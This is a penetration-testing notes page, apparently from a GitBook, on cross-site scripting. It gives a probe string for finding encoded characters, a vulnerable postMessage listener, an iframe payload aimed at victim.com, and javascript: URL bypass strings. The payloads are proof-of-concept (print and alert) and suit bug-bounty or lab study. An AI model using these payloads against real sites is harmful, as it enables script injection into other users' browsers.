🤯
Hacker Mind
  • Penetration Testing Notes
    • 00 - Kali Linux Preparation
    • Page 1
    • Web Application (80/443)
      • XSS
      • LFI / Path Traversal
      • Wordpress
    • SMB (445)
    • LDAP
    • MSRPC (135)
    • MSSQL
    • Kerberos (88/tcp)
    • DNS (53)
    • IPv6
    • Import Nessus to Metasploit
  • STUCK? Look at this :D
  • Buffer Overflow
    • WinDbg
    • BoF Script Python
  • Active Directory Recon
    • Username Generation
    • PowerView
    • BloodHound
    • Flooding Attack
  • Payload
    • Sendemail
    • Phishing Payload
    • Bypass All The Things
      • AppLocker
      • MSBuild Shell
      • C# Runner
      • Payload Mod
      • Powershell
      • Bypass AV Linux
        • C Runner
  • Exploit
    • Brute Force
    • File Upload
    • Cracking
    • Shell & Stabilization
    • Database
    • MSSQL Injection
  • Tradecraft
    • Invoke-ReflectivePEInjection
  • Metasploit
    • Meterpreter Tricks
  • Privilege Escalation
    • Lateral Movement
    • Linux
    • Windows
  • Post Exploit
    • Active Directory
      • Kerberos
      • ACLs/ACEs
      • DCSync
      • Golden Ticket with krbtgt
      • LAPS
      • Page
      • Impersonate Token
    • Pivoting
      • Pivot in a Case
    • Transfer File
    • Exfiltration
    • Persistence
  • WiFi Pentesting
    • WPA-PSK
    • WPA-E (hostapd)
    • Attack WEP
    • Evil Twin - Wi-Fi
    • WPA3 Downgrade
  • Hardware Hacking
    • Information Gathering
  • Practice & Lab
Powered by GitBook
On this page
  • Encode by htmlspecialchars
  • Dom XSS
  • EventListener Message
  1. Penetration Testing Notes
  2. Web Application (80/443)

XSS

Encode by htmlspecialchars

Try this payload first, to identify which the chars that encoded:

!@#$%^&*()}{\'\"|?><`~}

Tips:

Look at other reflected in the html code, maybe in the tag <script> or something els.

Dom XSS

EventListener Message

identify this in the javascript

                   <script>
                        window.addEventListener('message', function(e) {
                            var url = e.data;
                            if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
                                location.href = url;
                                alert();   
                            }
                        }, false);
                    </script>
                    

event message mean that the web application receive the message from method postMessage

so we can use iframe to interact with the web application via postMessage

create a web hook with this payload

 <html>
<h1>Test</h1>
<iframe src=https://victim.com/ onload="this.contentWindow.postMessage('javascript:print();alert(`http:`)','*')" >
</html>

other payload work with DOM location.href.

javascript:print()//http:
javascript:print();alert(`http:`)
javascript:print();var=`http:`;

reference:

PreviousWeb Application (80/443)NextLFI / Path Traversal

Last updated 7 months ago

https://github.com/daffainfo/AllAboutBugBounty/blob/master/Cross%20Site%20Scripting.md